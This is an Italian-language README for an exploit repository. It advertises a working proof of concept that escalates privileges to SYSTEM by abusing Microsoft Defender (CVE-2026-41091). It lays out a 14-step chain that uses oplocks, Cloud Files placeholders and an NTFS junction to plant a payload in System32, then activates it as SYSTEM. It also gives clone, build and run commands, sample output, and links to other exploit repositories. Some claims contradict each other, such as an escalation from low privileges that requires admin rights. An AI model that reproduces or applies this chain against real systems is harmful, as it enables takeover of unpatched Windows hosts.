CVE-2026-41091 RedSun | Exploit LPE di Microsoft Defender. Utenti con privilegi ridotti ottengono NT AUTHORITY\SYSTEM 🔥 tramite API Cloud Files + trucco junction NTFS. Costringe Defender a scrivere payload dannosi in System32 con diritti SYSTEM. ⚠️ Attivamente sfruttato in natura. CVSS 7.8. Patch: Defender Engine 1.1.26040.8. 🛡️ Solo PoC educativo.
# CVE-2026-41091 - RedSun (SolarFlare) - Toolkit di Exploit LPE per Microsoft Defender
[](https://isocpp.org/)
[](https://www.microsoft.com/windows)
[](LICENSE)
[](https://nvd.nist.gov/vuln/detail/CVE-2026-41091)
[](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
## > Esclusione di responsabilità legale e uso responsabile
**Questo strumento è fornito esclusivamente a scopo educativo e per test di penetrazione autorizzati.**
Gli autori e i contributori non sono responsabili per qualsiasi uso improprio o danno causato da questo software. Gli utenti sono gli unici responsabili di assicurarsi di disporre di un'esplicita autorizzazione scritta dal proprietario del sistema di destinazione prima di eseguire i test. L'accesso non autorizzato ai sistemi informatici è illegale ai sensi delle leggi federali, statali e internazionali applicabili in materia di criminalità informatica.
Utilizzando questo software, accetti di:
- Utilizzarlo solo su sistemi di tua proprietà o per i quali disponi di esplicita autorizzazione ai test.
- Rispettare tutte le leggi locali, statali e federali applicabili.
- Non utilizzarlo per attività malevole, distruttive o illegali.
> [!] **AVVISO:** Le vulnerabilità di elevazione dei privilegi in Active Directory presentano un rischio elevato per le infrastrutture aziendali. I test non autorizzati sono severamente vietati.
> **Vulnerabilità di Link Following in Microsoft Defender** - Escalation di privilegi locale a NT AUTHORITY\SYSTEM
### La vulnerabilità è nota come "RedSun", "SolarFlare" è il nome che ho dato al mio exploit.
## [<] Panoramica
Questo repository contiene un **Proof of Concept (PoC) completo e funzionante** per **CVE-2026-41091**, una vulnerabilità critica di escalation di privilegi locale in Microsoft Defender (Microsoft Malware Protection Engine). Sfruttando una risoluzione impropria dei link (CWE-59), un attaccante autenticato con privilegi bassi può ottenere i privilegi di **NT AUTHORITY\SYSTEM**.
La vulnerabilità, nota anche come **"RedSun"** o **"SolarFlare"**, consente agli attaccanti di indurre Microsoft Defender a scrivere file arbitrari in posizioni di sistema protette con privilegi SYSTEM, utilizzando la Cloud Files API (CfAPI) e i punti di giunzione NTFS.
> **Nota:** Questo repository include due versioni:
> - `basic_poc.cpp` - Dimostrazione semplificata dell'algoritmo (educativa)
> - `full_poc.cpp` - Exploit completo e funzionante con tutte le funzionalità
### [-<] Caratteristiche principali
| Categoria | Funzionalità | `basic_poc.cpp` | `full_poc.cpp` |
|----------|---------|:---------------:|:--------------:|
| **Sfruttamento** | Escalation di privilegi locale a SYSTEM | `[+]` | `[+]` |
| | Integrazione Cloud Files API (CfAPI) | `[-]` | `[+]` |
| | Creazione di Cloud Placeholder | `[-]` | `[+]` |
| | Redirezione tramite punto di giunzione NTFS | `[~]` | `[+]` |
| | Attivazione del servizio COM | `[-]` | `[+]` |
| **Tecniche** | Abuso di Batch Oplock | `[+]` | `[+]` |
| | Rilevamento snapshot VSS | `[+]` | `[+]` |
| | Trigger EICAR | `[+]` | `[+]` |
| | Punto di reparse NTFS (Mount Point) | `[+]` | `[+]` |
| | File Disposition (NtSetInformationFile) | `[-]` | `[+]` |
| | Rilevamento Session ID tramite Named Pipe | `[-]` | `[+]` |
| | Avvio della sessione console (conhost.exe) | `[-]` | `[+]` |
| | WaitOnAddress / WakeByAddress | `[-]` | `[+]` |
| | Verifica SYSTEM | `[-]` | `[+]` |
| **Target** | Microsoft Defender < 1.1.26040.8 | `[+]` | `[+]` |
| | Windows 10/11 | `[+]` | `[+]` |
| | Windows Server 2016 | `[+]` | `[+]` |
| | Windows Server 2019/2022 | `[+]` | `[+]` |
| | solo x64 | `[+]` | `[+]` |
| **Usabilità** | Logging strutturato | `[~]` | `[+]` |
| | Gestione degli errori | `[~]` | `[+]` |
| | Nomi di directory casuali | `[+]` | `[+]` |
| | Pulizia automatica | `[~]` | `[+]` |
| | Logica di retry (NtCreateFile) | `[-]` | `[+]` |
## [i] Dettagli della vulnerabilità
| Attributo | Valore |
|-----------|-------|
| **CVE ID** | CVE-2026-41091 |
| **Punteggio CVSS** | 7.8 (Alto) |
| **Vettore CVSS** | AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| **Vettore di attacco** | Locale |
| **Privilegi richiesti** | Bassi |
| **Interazione utente** | Nessuna |
| **Impatto** | Esecuzione di codice a livello SYSTEM |
| **CISA KEV** | [+] Sì (sfruttata attivamente in the wild) |
| **Patch disponibile** | Microsoft Malware Protection Engine 1.1.26040.8 |
### [c] Prodotti interessati
| Prodotto | Versioni interessate | Versioni corrette |
|---------|-------------------|----------------|
| Microsoft Malware Protection Engine | < 1.1.26040.8 | 1.1.26040.8+ |
| Microsoft Defender Antimalware Platform | < 4.18.26040.7 | 4.18.26040.7+ |
## [<\>] Catena di exploit
```
┌─────────────────────────────────────────────────────────────────────────────
│ SOLARFLARE EXPLOIT CHAIN
├─────────────────────────────────────────────────────────────────────────────
│
│ 1. Create Working Directory
│ └─> %TEMP%\SF-XXXX\
│
│ 2. Trigger Defender with EICAR
│ └─> Write reversed EICAR to bait file
│
│ 3. Wait for VSS Snapshot
│ └─> Detect Volume Shadow Copy creation
│
│ 4. Create First Batch Oplock
│ └─> FSCTL_REQUEST_BATCH_OPLOCK on bait file
│
│ 5. Wait for Oplock Break
│ └─> Acquire exclusive access
│
│ 6. Rename Directory
│ └─> Move original directory to .tmp
│
│ 7. Register Cloud Sync Root
│ └─> CfRegisterSyncRoot with Cloud Files API
│
│ 8. Create Cloud Placeholder
│ └─> CfCreatePlaceholders for bait file
│
│ 9. Create Second Batch Oplock
│ └─> FSCTL_REQUEST_BATCH_OPLOCK on cloud placeholder
│
│ 10. Wait for Second Oplock Break
│ └─> Acquire exclusive access
│
│ 11. Rename Cloud Directory
│ └─> Move cloud directory to .cloud.tmp
│
│ 12. Create NTFS Junction to System32
│ └─> Redirect to C:\Windows\System32
│
│ 13. Copy Payload to System32
│ └─> Copy bait file to System32 as TieringEngineService.exe
│
│ 14. Activate Service as SYSTEM
│ └─> CoCreateInstance(StorageTiersManagement)
│
└─────────────────────────────────────────────────────────────────────────────
```
## [+] Installazione
### Prerequisiti
- Windows 10/11 o Windows Server 2019/2022
- Visual Studio 2019/2022 con strumenti C++
- Privilegi amministrativi (per l'esecuzione)
### Compilazione
```bash
# Clone the repository
git clone https://github.com/tc4dy/CVE-2026-41091-PoC-Exploit
cd CVE-2026-41091-PoC-Exploit
# Build using Visual Studio Developer Command Prompt
cl.exe /EHsc /std:c++17 full_poc.cpp /link cfapi.lib ntdll.lib
# Or build basic version
cl.exe /EHsc /std:c++17 basic_poc.cpp /link ntdll.lib
```
## [+] Utilizzo
### Exploit completo (escalation di privilegi SYSTEM)
```bash
full_poc.exe
```
### Dimostrazione dell'algoritmo di base
```bash
basic_poc.exe
```
## [i] Esempio di output
### Output completo dell'exploit
```text
CVE-2026-41091 SolarFlare PoC
===============================
by @tc4dy | CVSS 7.8
===============================
[*] SolarFlare exploit started.
[*] Creating working directory...
[+] Directory created: C:\Users\user\AppData\Local\Temp\SF-8427\
[*] Triggering Defender with EICAR...
[+] Defender triggered
[*] Waiting for VSS snapshot...
[+] VSS snapshot detected
[*] Creating first oplock...
[+] First oplock created
[*] Waiting for oplock break...
[+] Oplock acquired
[*] Renaming directory...
[+] Directory renamed
[*] Creating second oplock...
[+] Second oplock created
[*] Waiting for second oplock...
[+] Second oplock acquired
[*] Renaming cloud directory...
[+] Cloud directory renamed
[*] Creating NTFS junction to System32...
[+] Junction created
[*] Waiting for Defender to finish...
[*] Copying payload to System32...
[+] Payload copied to C:\Windows\System32\TieringEngineService.exe
[*] Activating Storage Tiers Management service...
[+] Service activated as SYSTEM
[+] SYSTEM access obtained!
```
### Output PoC di base
```text
CVE-2026-41091 Basic PoC
========================================
Algorithm Demonstration Only
========================================
[*] Starting exploit algorithm...
[*] Creating working directory...
[+] Directory created: C:\Users\user\AppData\Local\Temp\BE-3921\
[*] Triggering Defender with EICAR...
[+] Defender triggered
[*] Waiting for VSS snapshot...
[+] VSS detected
[*] Creating first oplock...
[+] First oplock created
[*] Waiting for oplock break...
[+] Oplock acquired
[*] Renaming directory...
[+] Directory renamed
[*] Creating second oplock...
[+] Second oplock created
[*] Waiting for second oplock...
[+] Second oplock acquired
[*] Creating NTFS junction to System32...
[+] Junction created
[*] Waiting for Defender to finish...
[*] Copying payload to System32...
[+] Payload copied to C:\Windows\System32\Payload.exe
[+] Algorithm demonstration completed!
[i] This is only the basic algorithm.
[i] For full SYSTEM privilege escalation,
[i] use full_poc.cpp with Cloud API and COM activation.
```
## [<>] Istruzioni di compilazione
### Utilizzo di Visual Studio
1. Aprire Developer Command Prompt per VS 2022
2. Passare alla directory dell'exploit
3. Eseguire:
```batch
# Full exploit
cl.exe /EHsc /std:c++17 full_poc.cpp /link cfapi.lib ntdll.lib
# Basic PoC
cl.exe /EHsc /std:c++17 basic_poc.cpp /link ntdll.lib
```
### Utilizzo di CMake
```cmake
cmake_minimum_required(VERSION 3.10)
project(SolarFlare)
set(CMAKE_CXX_STANDARD 17)
add_executable(full_poc full_poc.cpp)
target_link_libraries(full_poc cfapi ntdll)
add_executable(basic_poc basic_poc.cpp)
target_link_libraries(basic_poc ntdll)
```
## [!] Requisiti e limitazioni
| Requisito | Dettagli |
|-------------|---------|
| **OS** | Windows 10/11, Server 2019/2022 |
| **Privilegi** | Amministrativi (per l'esecuzione) |
| **Defender** | Microsoft Defender deve essere abilitato |
| **Internet** | Necessario per il rilevamento degli snapshot VSS |
| **Patch** | Funziona solo su sistemi non aggiornati |
| **Architettura** | Solo x64 |
## Exploit correlati
Dai un'occhiata agli altri miei repository di exploit:
- [CVE-2026-24061-PoC-Exploit](https://github.com/tc4dy/CVE-2026-24061-PoC-Exploit) - Bypass dell'autenticazione di GNU inetutils-telnetd
- [CVE-2026-41940-PoC-Exploit](https://github.com/tc4dy/CVE-2026-41940-PoC-Exploit) - Exploit di bypass dell'autenticazione di cPanel/WHM
- [CVE-2026-0073-PoC-Exploit](https://github.com/tc4dy/CVE-2026-0073-PoC-Exploit) - Bypass dell'autenticazione del debug wireless ADB di Android